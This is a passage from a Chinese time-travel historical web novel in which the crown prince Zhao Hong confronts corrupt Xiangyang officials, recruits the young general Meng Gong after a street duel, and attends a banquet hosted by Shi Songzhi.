“:呦,您是不知道,礼佛最花钱,史大人来之前,这里的寺庙又小又破,史大人来了后,佛像贴金,广建寺院,就是僧人也一直扩招。毫不夸张地跟您说,史大人以一己之力,养活了整个襄阳的寺庙。”
“:第四个爱好呢?”
“:第四个爱好就没那么烧钱了。”
宋宇可算听到一个不花钱的爱好,忙侧耳倾听。
货郎清了清嗓子”:咳嗯,史大人好儒学。“
宋宇肯定似的点点头“:欸?这个爱好挺正常的。”
哪知货郎接下来的话,狠狠打了宋宇的脸“:听人说,之所以好儒学,是因为经常有人传言,史大人的官位,是得自其胞兄史宰相。史大人为了证明自己的清白,这才打出了好学的幌子。赚回点面子。”
宋宇再也绷不住了,红着脖子破口大骂“:这踏马狗东西还是个好面子的混蛋。”
货郎赶忙劝阻“:您小点声,我就是一小老百姓,跟您说这些,实是心里憋屈,我可不想惹来衙役,吃官司。
货郎话音刚落,却见打远处走来两个身着官衣得公人。
这货郎顿时面色大变“:娘子,差人来了。快快快,收摊。”
货郎边招呼自己娘子收拾摊位,边对着宋宇等人劝道“:几位,快跑吧,在慢一步,您几位都得拿钱消灾。”
货郎一席话说完,挑着挑子拉着自己娘子转身就要跑。
一直闷不做声跟在宋宇身后的彭义斌却三步并作两步,拦住了货郎“:奶奶个熊,跑个鸟?今天有俺们在这,谁都别想动你半根毫毛。”
就迟疑了这么会,远处衙役已经来到近前,货郎逃跑失败,吓得直接跪在了两个衙役面前“:两位差老爷,小人四舅的八侄女,在史大人府上做丫鬟,还请两位差老爷,看在她的面上,放过小人。”
两个衙役将肩膀上抗的水火棍重重往地上一砸,就听‘咚’的一声,直吓得跪在地上的货郎浑身一哆嗦“:老爷问你,刚才是谁在这大声喧哗?”
另一个衙役也是随声附和“:这么安静的街道,让你们这一嗓子搞得是鸡飞狗跳,今日不说出个道道,一顿官爷的水火棍是免不了了。”
言罢,举起水火棍在众人眼前晃了晃。
货郎还未回答,彭义斌一嗓子喊出“:天热,俺们喊一嗓子去去火。”
其中一个衙役见搭话的是个彪形大汉,右手捋着下巴上的山羊胡迟疑了片刻,这才斜着眼冲彭义斌吼道“:天热拿脑袋撞墙去。”
彭义斌一听这话,就要撸袖子上前开干,却被宋宇制止“:彭兄弟,不忙事。”
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“:呦呵,碰上个斯文的。官爷问你,交税了没有?”
“:不知道要交什么税?”
“:站地税,睁眼税,过路税,开口税,放屁税,拉屎税......”
听着衙役报菜名似的一连说出二十多项税,宋宇内心直呼:真踏马专业。
“:两位,我们是外地来的,不懂本地的规矩,你刚才说的税种,也是闻所未闻,可否帮忙解释解释?”
“:看你小子顺眼,官爷就勉为其难,帮你解释解释,你放心,我们这的税种,绝对公开透明,童叟无欺,不会因为你是外地来的,就乱收税。”
“:那就好,不知这站地税,怎么个说法?”
“:你是不是两只脚站在地上?”
“:是这个意思啊,那要是一只脚呢?”
“:一只脚收一只半脚的税。”
衙役说到这,冲着宋宇身后用水火棍一指“:喏!那个人不就是一只脚么。”
宋宇转过头去看,就见街市上一个扛着米袋的中年男子,艰难的蜷着一条腿,单腿蹦着向前赶路。
衙役不失事宜的嘲弄“:省半条腿的钱找罪受,真踏马贱骨头,活该。”
“:那要是拄拐呢?”
“:这你可钻不了我们收税的漏洞,拄拐按两条腿收税。”
宋宇回过头一脸我懂了的样子对着衙役说道“:那要这么说,睁眼税就是两只眼睛都收税,闭上一只眼睛,收一只半的税,是不是?”
衙役鄙视的看了一眼自作聪明的宋宇“:收税的解释权在我们,你小子不要自作聪明,睁一只眼,闭一只眼,还是能看清东西,同样收两只眼睛的钱。”
“:那我要是瞎子呢?”
“:瞎子收瞎眼税。”
“:我懂了,只是放屁拉屎这怎么算?”
“:放屁税一个月六十次,超过的不要,低于的算你亏。总之放的屁越多你越占便宜。拉屎税跟放屁税差不多,一个月按三十次算。俗话不是说,拉屎必放屁么。”
听了这么荒唐的言辞,宋宇哭笑不得:该死的,还是包月的税。
却在这时,谢道清从宋宇背后拉了拉宋宇胳膊,宋宇回过头,就见谢道清可怜巴巴的盯着自己“:殿下,帮帮这些可怜的百姓吧。”
谢道清这一招,宋宇只觉得两腿发软,差点没跪地上,好容易稳住身形,面露为难之色“:这,虽说我是太子,又是巡检使。可,可我没有管辖权。怎么管?上折子?在哥哥那告弟弟。有屁用?”
哪知这谢道清还来劲儿了。竟直接跑到两个差人面前,手起巴掌落。“啪啪”对着面前的差人,一人甩了一巴掌“:今日本姑娘,就替这些个百姓出出气。”
这一举动,让两方人全都愣在了当场。
尤其是被打的两个衙役,看着面前穿着讲究的谢道清,暗自揣摩,这丫头到底是什么来头?自己到底惹不惹得起?一时竟没敢还手。
宋宇见两个衙役被打蒙了,忙走上前去。从怀中掏出了太子金牌“:几位,抱歉,我乃太子赵竑。”
第六十回 白马银袍将 红衣女儿身
宋宇亮明身份后,并未难为两个衙役,反倒是转身吩咐余阶拿出一些散碎银子,放到两个衙役手中“:权当赔礼,还请笑纳。”
两个衙役一看金牌,哪还敢接银子?吓得忙跪到地上,磕头如捣蒜“:殿下,小的们刚吃了饭,上街巡视。实是不知哪里冲撞了这位姑娘。还请殿下看在小的们上有老下有小。”
“:得得得,别说那些个虚的。我且问你们,凭般没道理,将这街市管理的如此萧条?”
“;殿下,小的们都是奉命行事。混口饭吃,哪做得了那个主?”两个衙役一脸乞求的对着宋宇解释。
宋宇本来就没打算教训这两个小厮,一则,杀鸡用牛刀,传出去让人笑话。二则,宋宇心里明白,教训他们,也就是出出气,屁用没有。
“:清儿,这两个衙役也怪可怜的。再说他们也是奉命行事,放了他们吧。”
“:可怜?你看他俩那个嚣张样!不知道的,还当是土匪**呢!”
“:你这不是教训了他俩吗?”
谢道清强压怒火“:全听殿下吩咐。”
哪知谢道清话音刚落,打远处‘哒哒哒’跑来一匹快马。
马上坐有一银袍小将,手拿银枪点地,身披银色披风,随风摆动,好不威风。
只见这一人一骑离宋宇还有百十米远时,马上之**喝一声“:白衣泼贼,吃你小爷一枪。”话音落,枪身前挺,冲着宋宇心口便冲了过去。
周围一众**惊,眼见小将直奔太子杀去,也顾不得许多了,赶忙挺身护在了宋宇身前。
其中余阶身法最快,几个箭步,冲到了宋宇身边,抬手对着宋宇和谢道清就奔街边推去,其余人慢了些,但也都做好了防御姿势,将路口堵住,只等小将驾马冲来。
白袍小将见前边一众人阻住了自己去路,并未停止冲锋,依旧打马向前。丝毫未有停下来的意思。
电光火石间,快马已经奔到了众人跟前。
就在此时,彭义斌一众人突然让开了马的正前方,任凭快马冲了过去。
就在快马从众人身边呼啸而过的当口,杨妙珍快速拔剑,招架银袍小将的**攻击,彭义斌拔刀,砍向马的后腿。
刀光剑影之后,马后退被齐齐砍断,一声惨叫嘶鸣,摔倒在不远处。骑在马背上的银袍小将靠着银**撑,堪堪稳住身形,好悬没跌个狗吃屎。
只见银袍小将吃了大亏,勃然大怒,从死马身上下来后,挺立死马身前,枪尖直指彭义斌“:你个蠢贼,杀我爱马,今日必死。”
彭义斌脑袋一扬,甩了**上马血,随即将大刀抗在右肩膀上,一脸得瑟的回道“:奶奶个熊!俺这把大刀,杀你小子绰绰有余。”
“:你,该死。”
“;四娘子,你且在旁少歇,看俺教训教训这不知天高地厚的**小子。”彭义斌往手上啐了口唾沫,对着杨妙珍说道。
杨妙珍识趣的点了点头,退到了一边,暗自叹了口气:唉,早知今日会有事发生,便不换女装了。也好过过手瘾,话说自打本姑娘把山东好汉欺负了个遍,已经好久没碰到像样的对手了,可惜,看来自己今日只能干看着,实在扫兴。
四娘子杨妙珍退下后,在场众人无不屏气凝息,静等着两人过招。
只见白袍小将深吸一口气,**拖地,疾步快跑,直取彭义斌胸口。
在看这彭义斌,却并未有躲闪的念头,反倒是扎了个马步,将手中腰刀收回刀鞘,双拳平伸紧握。挺起胸膛,大口吸气,硬是将自己的胸口迎上了对方枪尖。
只听“咚”的一声,彭义斌硬生生接下了小将前冲带来的所有力道,但见小将枪尖并未刺穿彭义斌胸口,反倒因为双方角力,枪身弯曲变形。
再看彭义斌面色,除了憋气有些通红之外,并无半点痛苦之色。
反观白袍小将,此时满脸诧异,收回力道,对着彭义斌询问“:蠢贼什么功夫?刀枪不入?”
“:俺这叫铁布衫。”彭义斌看小将愣在了当场,收了气,拍了拍胸口说道。
“:哦?蠢贼好身手。看来小爷和你比试,倒也不落了小爷名头。”白袍小将听了,一脸不削的说道。
“:你个小奶娃娃,有个屁名头,出枪软绵绵,跟四娘子的枪法没得比。”
小将不由冷笑一声“;蠢贼好大的口气,看招!”
也不待彭义斌在说话,小将手中**放在一旁,双拳紧攥,曲腿向前,围着彭义斌是左打右踢。
自打刚才躲过了那小将刺杀,宋宇一直躲在余阶身后观战。看着面前的彭义斌一直挨打,虽然没事,但速度明显跟不上出招快如闪电般得银袍小将,无法出手进行有效还击,宋宇这半个门外汉打哈哈道“:练啥功夫,也不能练这铁布衫,这都挨打一炷香的时间了,太踏马尿性了”
余阶听了宋宇言语,深以为然“:可不是吗!想不到这彭兄弟竟然是铁布衫高手,可惜啊,若是遇上别的对手还好,尚可出手还击,但遇上这小将,却是只有挨打的份。”
宋宇听了余阶话语,心道余阶好像看出了点门道,便开口问道“:何以见得?”
“:殿下请看,这小将看似无有章法得乱拳击出,但细看之下,每拳出处都有其原因。一则是为了封住对手行动,令彭兄弟无暇出手,二则,这小将一直在等待彭兄弟这口气散尽。”
“:你是说,这彭兄弟要输?”宋宇一脸吃惊的问道。
“:早晚之事,铁布衫这门功夫,不管攻守,必要先运气,虽则攻时力大无穷,守时不动如山,但却放慢了自己攻击的速度,一旦碰上行家,出手不得,单单聚气于胸,犹若只守不攻。早晚是个败局。”余阶一脸严肃得分析道。
“;那,余老幺,你若上前,可有胜算?”宋宇不懂功夫,疑惑的问道。
“;殿下,小弟这三脚猫的腿功,与这两位当世数一数二的高手相比,云泥之别。”余阶脑袋晃得像拨浪鼓。
宋宇还想再问,但见一直被动挨打的彭义斌出手阻止道“:停停停,呼...奶奶个熊,俺认栽。阁下拳脚功夫着实了得,在这么比下去,俺迟早是个输。”
白袍小将见说,收了拳
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脚,脸不红气不喘的笑骂道“:你这龟孙,缩在壳里,真当小爷没办法了?哈哈哈...”
彭义斌擦了擦鼻头汗水,甩了甩手“;俺今天没吃饭,腿软,待俺叫四娘子出手,你这厮便明白啥叫山外有山,人外有人了。”
“;哈哈,你这龟孙子,打不过小爷,叫娘子,羞不羞?”白袍小将见彭义斌一脸的狼狈相,取笑道。
彭义斌却一脸满不在乎的样子,径直走到了四娘子杨妙珍跟前“:四娘子,这厮骂咱们是贼,俗话说,**不打脸,揭人不揭短,可不能轻饶了他。”
杨妙珍向前迈了一步,回头对着彭义斌说道“:这小子有两下子,倒是把本姑娘的馋虫勾出来了,本姑娘便来会会他。”
言毕,杨妙珍利落的将两个衣袖扯断,扔在了地上,接着一提罗裙,绑在了腰后,露出纤长的大腿,手提宝剑,英姿飒爽的径直走到了小将面前“:阁下好俊的身手,只是不知师从何人?”
“;打听这些作甚?只管比来,今日你等若是输了,命便留下。”小将看这彭义斌败阵后,竟唤来了方才那位姑娘,心中十分不快,恶狠狠的说道。
杨妙珍见对方不太懂礼貌,也没生气,微微一笑“;一会输了,可不要哭鼻子?”
“:别以为是姑娘,小爷就会怜香惜玉,一会扎你几个窟窿,可别怪小爷没提醒。”小将十分的口无遮拦。
杨妙珍面对对方一而再地挑衅,却并没往心上去,面色平静地做了个起剑式,剑尖直指白袍小将说道“:本姑娘可要出手了。”言毕,也不待对方还口,杨妙珍向前紧跑两步,对着白袍小将胸口刺去。
白袍小将十分不以为意,轻轻将手中**从左往右一拨弄,妄想将四娘子剑劲卸去。
哪知这四娘子力道奇大。非但没卸去剑力,反倒直奔自己胸口袭来。小将登时脸色大变“:哎呀,你这姑娘,好大的力气。”
边喊,边疾步后退四五步,卸去了宝剑的冲力,顺势侧身一闪。躲了过去。
堪堪稳住身形,小将心有余悸“:好险,差点没着了道。你这姑娘,还真不容小觑。”
四娘子收了力道,轻抚宝剑,冷笑一声说道“;堂堂男儿,吓尿裤子了?”
小将听四娘子调笑自己,登时怒目而视“;恨,若非小爷大意,你这女子岂敢如此猖狂。”
言罢,挺枪迎上前去,就见杨妙珍一袭红衣,剑光飘忽,鬼魅身法,躲避对方**之余,仍能游刃有余得进行反击。
小将则是枪出如龙,进退有据,面对杨妙珍时不时得杀招,一一化解。二人一时杀的是难分伯仲,比斗陷入僵持。
“:唉,殿下,这小将军确实有些本事。看来这四娘子想要胜他,难啊。”余阶一边观战,一边对宋宇说道。
宋宇听了余阶所言,看着两人厮杀,冷汗直流,乖乖,想不到四娘子一介女流,竟敢未着护甲,挺剑与男儿厮杀。
这功夫,看来真不是锻炼身体用的。得想个办法,留下这四娘子才是。不然让她回到李全处,迟早也是个悲剧收场。
第六十一回 张三丰解围 史嵩之卖马
也不知道对面那小将军什么来头?但看其故意不透漏姓名,想必是有什么原因?话说自己在襄阳初来乍到,好像还没来得及得罪什么人吧?这家伙,该不会是史嵩之的人?那真是可惜了一身好武艺。
宋宇就这样,边看两人厮杀,边思考怎么收服两人。也不知过了多久,打远处缓缓走来一身着道袍得中年道人,手拿拂尘,腰挎宝剑。不喜不怒,颇有些仙风道骨的风范,口中念念有词“:
昨日花开满树红,
今朝花落万枝空。
滋荣实藉三春秀,
变化虚随一夜风。
物外光阴元自得,
人间生灭有谁穷?
百年大小荣枯事,
过眼浑如一梦中。”
中年道士身后跟着一少年,身着一身灰袍。长得还算看的过去。但独独裸露一条右臂,纹着一只叫不出名来的猛兽。与老道相同,腰中也配有一柄宝剑。
两人看到宋宇这边正在打斗,也不躲避,径直奔着宋宇处走来。
待两人走到近前,中年道人开口制止道“:孟小将军,且停了厮杀,贫道有话说。”
那白袍小将一听来人所所言,急忙收了攻势,后退几步,跳出战圈,气喘吁吁的说道“;**,这几人可是史大人点名要追捕的贼人。**何必出言阻止?”
“;糊涂,那史嵩之所说,能当真?”
怒喝白袍小将一句,中年道人也不再理会他,反倒是冲着宋宇几人走去,待走到近前,中年道人拱手施礼道“;贫道张全一,江湖人称三丰**,不知几位之中,哪位是太子殿下?”
宋宇一听这道人自称三丰**,心里一咯噔,又听他点名寻找自己,更是诧异:呀?找我?这张三丰怎知我在这里?
带着疑问,宋宇从余阶身后闪了出来“;我便是太子,不知**如何得知本殿下在此?”
张三丰一听,哈哈大笑“:哈哈哈,殿下,贫道可算等到你了,数月前,贫道徒儿华岳被奸贼所害,贫道知是九死一生,便派了手下徒儿前去收尸。哪知数日前我那徒儿突然回来禀报,说殿下出手相救,华岳已经转危为安。非但如此,殿下本人也已经启程来这襄阳。还给贫道捎来了一封华岳徒儿的书信。信中要贫道好好报答殿下得救命之恩。贫道当时正在襄阳,便多留了几日,只等殿下到来。”
“:你徒儿?不对啊,**,你徒儿若是去的临安,为何华兄弟没和本殿下说过?再者说,临安到此,少说数千里,为何你徒儿反倒比本殿下还来的快?”宋宇疑惑的问道,倒不是信不过张三丰,只是这时间差,着实是对不上号。
张三丰笑了笑,说道“:殿下,身后这位便是我徒儿田奇。让他来回答殿下的问题吧。”言罢指了指身后那位灰袍少年。
只见灰袍少年向前走了两步,对着宋宇施礼道“:草民田奇,拜见太子殿下。”
宋宇赶忙吩咐旁边众人将他扶起,示意他继续说下去。
只见这田奇不急不慢的说道“:草民去了临安,多处打探,才知道华师兄,已经被殿下救出,所以也没耽搁,马不停蹄的赶到殿下府上,找寻我师兄。哪知去了府上,师兄是见到了,殿下却早于一日前,启程来这京湖督粮了。在与师兄详谈后,师兄怕殿下去了京湖无有帮手,便托草民带了一封书信,嘱托草民回襄阳交给师傅,好让师傅助殿下一臂之力。至于为何草民会先到。想来是殿下中途耽误了些时日。故而草民早到了三日。”
宋宇听了田奇一番讲述,细一思虑,还真是,转粮草便耽误了三日,和忠义军交战,又耽误了一日,再加上船只满载粮草,想必会比载客的客舟慢不少呢。
宋宇想明白后,对着张三丰笑了笑,指着不远处银袍小将开口道“:**,那边那位小将,你似是认得,今日也不知是何误会,还请**引荐,好化解彼此仇怨。”
张三丰爽朗一笑“;哈哈哈,殿下,这件事简单。”
言罢,冲身后依然和四娘子对峙的那银袍小将说道“;孟小将军,且来此间,拜见太子殿下。”
那银袍小将见说,不敢怠慢,紧跑两步,来到了张三丰身旁,十分恭敬的,对着张三丰询问道“:**,敢问哪位是太子殿下?”
张三丰伸手指了指宋宇“;这位便是当今太子殿下。”
“:啊?**,你莫不是被骗了吧?这人,这人分明是一江洋大盗。官府通缉许久了。”面前小将见说,立马反驳道。
“;胡言乱语,贫道为何要欺瞒于你?”张三丰一听大怒,指责银袍小将道。
宋宇看两人起了争执,忙从腰间取下了太子令牌,交给了面前的白袍小将,一脸善意的说道“;小将军请看,本殿下可是那江洋大盗?”
小将军将金牌接在手中,细一端祥。只见金牌正面,双龙戏珠,背面四个大字‘济国公府’。
立马明白了是怎么回事,破口大骂道“:史嵩之这厮,竟敢欺我。好险没有铸成大错,该死,我定要将他**万段。”言罢,气冲冲的就要转身离去。
“:小将军,且慢,究竟是何事,让你如此生气?岂不知殿下就在你面前,何不说与殿下听听?”余阶慌忙在旁制止道。
白袍小将见说,恍然大悟,忙回过头,跪在宋宇面前,满脸歉意的说道“:孟珙死罪,行刺殿下。还请殿下降罪。”
孟珙?南宋末年第一猛人孟珙?此人可是武胜赵子龙,义比关公的少年英才。
联想起他与四娘子交手时说的那句,不会怜香惜玉,宋宇暗自咂舌:孟珙在历史上与蒙古军包围了大金国最后的皇帝完颜守绪,城破后,完颜守绪身死,金国皇后被孟珙下令全军享用,已报当年靖康之耻。后人甚至画了幅孟珙尝后图流传于世。
宋宇激动的将面前的孟珙搀起,只见孟珙身高七尺,眉清目秀,白面无须。
更兼唇红齿白,再配上一身银铠,十足的古代大帅哥。直看得宋宇欣喜不已:这可是赵子龙在世啊。
“:孟小将军,言重了。你就算是今日把我给杀了,我也绝对不会怨
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恨于你。”
一席话,出得宋宇之口,登时震住了周围所有人。
孟珙更是受宠若惊,只见他颤巍巍的说道“;殿下,末将是个罪人,还请殿下责罚。”
宋宇连连摇头“:刺者,非死即伤,今日本殿下又没事,不算行刺,只能算是骚扰,骚扰,在咱大宋不犯法。”宋宇半开玩笑的劝道。
“;多谢殿下不罪之恩,末将愿为殿下做牛做马,偿还罪责。”孟珙此时已经热泪盈眶,对着宋宇颤抖着说道。
“;做甚牛马?我要与你结为兄弟,生死与共,驰骋天下。”宋宇大义凛然的对着面前孩童般哭泣的孟珙说道。
孟珙听了宋宇所言,惊诧不已,慌忙推辞“:殿下不杀,便是对孟珙得厚恩,岂敢奢望与殿下兄弟相称?”
“;哈哈哈,称得起。”
余阶看宋宇对这孟珙喜爱非常,在旁推波助澜说道“;孟兄弟,殿下宽厚仁爱,求贤若渴。孟兄弟又为何推辞?”
周围众人也是纷纷附和“:是啊,是啊。我等早就和殿下兄弟相称了。孟将军身手了得,殿下今日又得一兄弟。”周围随之响起一阵笑声。
孟珙看周围众人都是异口同声,也不在推辞,面挂泪痕,再次跪下说道“;殿下,小弟愿一生相随。”
眼见孟珙被收下,宋宇心花怒放:南宋中后期四大名将一个没少,全都收下了,咱这运气,不是一般的好。
“;孟兄弟,且起来说话,我很是好奇,这史嵩之是如何哐你?”宋宇笑着将孟珙搀了起来,不失时宜的询问道。
孟珙长叹一口气“;唉,殿下,此事说来话长,其实我与父亲一直都在枣阳驻守,平素与这史嵩之也无甚交集。虽则这史嵩之,在这京湖之地,倒买倒卖军资器械,大发横财,但碍于我父亲名声,也未曾对我枣阳太过分。直到半年前,金人无故南下,五万精兵将枣阳是围了个水泄不通。我与父亲苦苦坚守近半年,这史嵩之却不发兵来救。直到前几日,枣阳城已经粮尽弹绝。父亲无奈之下,便派我突出了重围,来襄阳向史嵩之求援,哪知。”话到此处,孟珙顿了一下。
“;哪知这史嵩之告与你,若要援军不难,须兄弟你办一件差事。这件差事,便是将官府头疼的江洋大盗逮捕归案。他史嵩之才会发兵与你。兄弟你说是也不是?”余阶见这孟珙停住了话语,接口说道。
孟珙苦笑着看了看余阶“:兄弟所言极是,也就在一个时辰前,这史嵩之突然差人告与我,这江洋大盗正在街市招摇过市,身穿白衣。身边一众同伙,其间有男有女。令我速速就地斩杀。”
宋宇听到此,并未大发雷霆,反倒是十分平静的问道“:兄弟,你说这史嵩之倒卖军械,可否详细说来?”
孟珙看着面前这位行事言行,颇为古怪的太子,正色回答道“:这史嵩之自到任以来,可是害苦了襄阳百姓,卖官粥爵,强加赋税,克扣军饷,甚至将每年朝廷配发的军械马匹,也都廉价卖给了金国。可谓是掘地三尺。”
第六十二回 恢弘的府邸 儒生的挑衅
宋宇听了孟珙一番话语之后大惊:我的天,这货真能玩啊。马匹在这冷兵器时代,可是与后世得石油重要性相同。说句通俗的话,一个国家的马匹质量与数量,直接代表这个国家的最高战斗力。
这厮竟公然买卖,还卖给了我大宋的死对头金国“:可恨,想不到这厮竟如此大胆。为何如此大事,竟无人上报朝廷?”宋宇气氛的说道。
孟珙叹了口气“:现今这京湖之地,忠良皆被史嵩之贬斥,剩下那些个胆小怕事,阿谀奉承之徒,巴结都来不及,岂会自讨苦吃?另外,我父子二人曾屡次上表,结果却如泥牛入海,杳无音讯。”
宋宇无奈的摇摇头“:现今孟老将军尚在枣阳坚守?”不出宋宇所料,上奏折也是瞎子点灯,白费蜡。索性问起枣阳战况。
“:出来之时,城中已断粮三日,现今情况,哎...一言难尽。”孟珙见问,面露无奈之色。
“;可惜我无兵无粮,帮不得兄弟你,不过,这史嵩之今天正好邀请我前去赴宴,孟兄弟,你与我一同前去,我倒要看看,这史嵩之究竟是何等人物?”宋宇细一思量,觉得今晚史嵩之安排的宴席必须得去。若是不去,自己没兵没粮,如何解那枣阳之围?
“:小弟遵命。”孟珙立马拱手回答道。
宋宇摆了摆手“:孟兄弟,你脾气暴躁,一会到了史嵩之府上,还需隐忍。”
“:小弟谨记,有殿下在,小弟定然不会鲁莽行事。”孟珙一脸乖巧的回答道。
待宋宇将孟珙的莽撞劲儿压下去,这才转过头,对着张三丰说道“:**可愿一同前去赴宴?”
张三丰捋了捋胡子“;哈哈哈,殿下相邀,贫道自是求之不得。”
“;那好,一同前去,敞开了吃。反正都是他史嵩之搜刮的民脂民膏。”宋宇边开玩笑,边跟方才两个商贩夫妇道别,还不忘叮嘱两个衙役,莫要再动不动就肆意打骂欺负街上商贩。
两个衙役则是不住的点头称是。
待一切事了,宋宇这才招呼众人继续赶路。
商贩夫妇望着宋宇渐行渐远,身形逐渐消逝,小声嘀咕道“:乖乖,想不到这竟然是赵大官家的太子,看他言行举止,颇有些侠义劲儿,这襄阳,莫不是要变天了?”
言者无心,听者有意,却见一衙役开口“:变什么天?史嵩之上边可是史相,他一个太子,能掀起多大风浪?就算他掌握了史嵩之得证据,把官司打到了赵大官家那里,到时候真正处理事的,还不是史相?要知道,史相可是这天下当官的父母官。”
宋宇一行人出了人烟稀少的街市,左拐右拐之下,来到了一座位于襄阳城最好地段的恢弘宅院前。
为什么说恢弘?但看这座宅院,位于丁字路交叉点,路口宽阔无比,八马并行尚有余裕。三座高大的玉质牌楼分别位于三条道路上。
大门更是尽显阔绰,就光门上的黄铜钉,都比城门上的还要大一圈。更遑论位于两侧的石狮子,还有并排数十个拴马桩,下马石。
此时天刚擦黑,史府门口站了两排侍卫,人人打着红灯笼从大门口向外站成两排,门外右侧空地上已经停满了轿子。左侧拴马桩各色骏马排的整整齐齐,更有府内小厮专门伺候水和草料。
无数身着官服之人早已在门口等候太子。宋宇也不废话,径直领着众人向前走去。
大胖子史嵩之见宋宇向这边走来,面露惊愕之色,小声对着身后一着侍卫衣服之人说道“;该死,这赵竑竟然没死,不曾想孟珙那厮,竟也失败了。”
“:史大人莫慌,早料到他孟珙就是个成事不足败事有余的莽草包。故尔在下才一直未走,只等今日和赵竑做个了断。”侍卫打扮之人阴狠的小声回道。
史嵩之见他动了杀气,小声劝道“;在我府中动手,是不是?”
“:史大人,这京湖之地,不还都是你说了算?只待杀了这厮,剩下的,还不都是我家相爷说了算?”
侍卫模样之人见史嵩之犹豫不决,劝道。
正待这两人窃窃私语之时,宋宇已经越走愈近,周围着官服之人是纷纷跪拜。史嵩之也随着人群跪拜说道“;京湖制置使,史嵩之,恭迎太子殿下。”
宋宇鄙视的扫了一眼史嵩之“;瞧瞧,都说了,本殿下和史相亲爷俩关系,您是史相胞弟,这里又是你的府邸,哪来那么多规矩?饭菜可准备好了?”
跪在地上的史嵩之,听宋宇又占自己便宜。恨得咬了咬牙,皮笑肉不笑的说道“:已然备好,还请殿下入府内饮宴。”
“;嗯,好,为了待会可劲吃,本殿下可是连午饭都没吃呢。赶紧起来吧,头前带路。”宋宇嬉笑道。
史嵩之听了宋宇话语,边在心里暗骂了句,什么玩应?边站起身,皮笑肉不笑的领着宋宇奔府内走去。
宋宇跟在史嵩之身后一路走来。只见雕廊画栋,山水相依。好不气派。足足走了十数条走廊,才来到一宽敞的院落内。
宋宇回头看看方才走过的那条甬长的走廊,砸吧砸吧嘴:乖乖,这史府,怕是有自己前世出生的那村庄大小,这有钱人,就是会玩啊。
“;殿下,还请厅内赴宴。只是厅内狭小,殿下身旁这些随从,恐怕得在他处吃喝了。”
站在一座大厅门前,史嵩之边请宋宇入内,边对宋宇看似请示,实则是将话给说**。
哪知史嵩之话音刚落,却从宋宇身后一众随从中,闪出一银袍小将,手拿**,指着史嵩之骂道“;你这天杀的贼,独独哐殿下入内,莫不是要行刺?”
史嵩之一见此人,脸顿时白如薄纸。颤抖着说道“;孟珙,你?你怎生在此?”
宋宇看孟珙将这史嵩之吓坏了,赶忙在旁打园道“;哎呀,史大人。莫慌,这孟珙乃是本殿下的一位故友。今日在街上撞到,便一并领来吃席了。史大人,不多这双筷子吧?”
史嵩之听了宋宇解释,仿佛千针刺心,暗骂宋宇运气是真的好。却是不敢吱声,只是臊红着脸答道“;筷子?有有有,少得了谁的,也少不了孟小将军的。”
“:那便好,既然厅内容不得我许多兄弟,那本殿下便只带身后这位道长,与三位女眷
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便罢。”
史嵩之本以为这太子得了孟珙,识破了自己计谋。定然不会只身入内。哪知,这太子竟然直说,只带个道人和三个女眷入内。
心中立马窃喜:嘿嘿,姓赵的,想不到你会自投罗网。别以为你吃了狗屎,运气好,本官便会怕你。天堂有路你不走,地狱无门你闯进来,姓赵的,这可是你找死。
“;殿下,请入内。”
宋宇冲史嵩之打了个手势,回头对着余阶等人说道“:众兄弟,我这便入厅内饮宴了。”
“;殿下还需小心。”余阶对着宋宇提醒道。
“;多谢兄弟关心,你等也要小心谨慎。”
甩下一句话,宋宇拉起谢道清的手,便向厅内走去,边走边温柔的对谢道清叮嘱道“:清儿,怕不怕?”
谢道清被宋宇拉住了手,此时还有些反应不过来,红着脸弱弱的答道“;有殿下在,清儿不怕。”
宋宇冲着谢道清笑了笑“;一会无论发生何事,你只管紧跟杨姑娘便是。有他在,没人能伤的了你。”
言罢,回头看了看,紧跟在自己身后的小小“;务必小心谨慎,躲在杨姑娘身边。”
小小看着面前牵手的两人,苦涩的笑了笑。对着宋宇点了点头“:殿下且放宽心,小小能照顾好自己。”
叮嘱完两个武艺差的,宋宇最后才将目光定格在杨妙珍身上“:杨姑娘,一切拜托。”
“:殿下放心,今日妙珍定能护佑殿下周全。”
说话的当口,众人已经来到厅内依次落座,按照正常顺序,宋宇应当坐于主位,可宋宇深知,一旦坐在主位,必然要和其杨妙珍他们分开,最后努力推脱下,和杨妙珍几人依次落座在主位左手边前后排几个位置。
宋宇和张三丰挨着坐在前排,三个姑娘后排。这位置在宋宇看来攻守兼备,旁边还有根柱子,一旦有事,还能将柱子做为遮挡。简直不要太好。
史嵩之见太子落座,又施了礼。走到正手,吩咐一众官员入座“:今日寒舍蓬荜生辉,实是因殿下到来,下官不胜荣幸。诸位,请入座。”
待众人坐定,史嵩之继续吩咐道“:上菜,上酒。”只见话音刚落,酒菜一一被端了上来。
宋宇正要开吃,却被一道寒喧声打断“:儒生严咏,素闻殿下乃是理学大师真德秀的弟子,想必殿下对理学颇有心得,儒生对理学疑问颇多,今日斗胆请教殿下几个问题,还请殿下不吝赐教。”
宋宇循声看去,就见坐在自己正对面的一黑袍儒生,对自己拱了拱手,宋宇暗道:这理学自己一窍不通,这人不管是不是故意刁难自己,八成都是想看自己出丑。看来这人就是史嵩之豢养的儒生了。
不过对方出招,自己不接招岂不是失了面子“:请问。”
颜勇见宋宇答应,莞尔一笑“:素问理学讲求修心,临危一死报君王。以达到道德的制高点。敢问,只空谈修心,重气节,却不掌握一门实质性的,能够报效国家的本领。敌军打来时,一不能领兵打仗,二不能治国理财,这种死气节,是不是很可笑?”
第六十三回 理学的七寸 史嵩之敬酒
宋宇暗道,这儒生还真是打到了理学的七寸,好像后世之**多诟病理学,心学,就是拿这个为突破点,
宋宇草民一个,平时也就是凑个热闹,现在有人拿这个问题攻击自己,宋宇一时犯难该怎么回答?
沉默了不知多久,宋宇这才开口“:天下本领万千,学问更是繁花锦簇,我自问,这世上每一种学问的问世,无不伴随着特殊的时代背景和人文思想所孕育。理学所注重气节二字,也不过是主修罢了,想我先生真德秀,曾在泉州做官,他去之前,贪官横行,海寇肆虐,民变丛生,百姓生活困苦不堪。
先生并没有坐在衙门里空谈气节,他编练新军,打击匪寇,查处贪官污吏,整肃吏治,开仓放粮,平抑物价,整修泉州海港,吸引商旅发展海上贸易,种种举措实施之下,在先生离开时,泉州已经夜不闭户,路不拾遗,家家余财,海贸繁荣。请问,真德秀是不是理学传人?他能不能证明,理学的气节,和其有没有真才实学,并不互相抵触?”
宋宇一席话言罢,厅内落针可闻,不知过了多久,颜咏再次发难“:殿下高论,不过儒生还有几个问题要问。”
“:但讲无妨。”
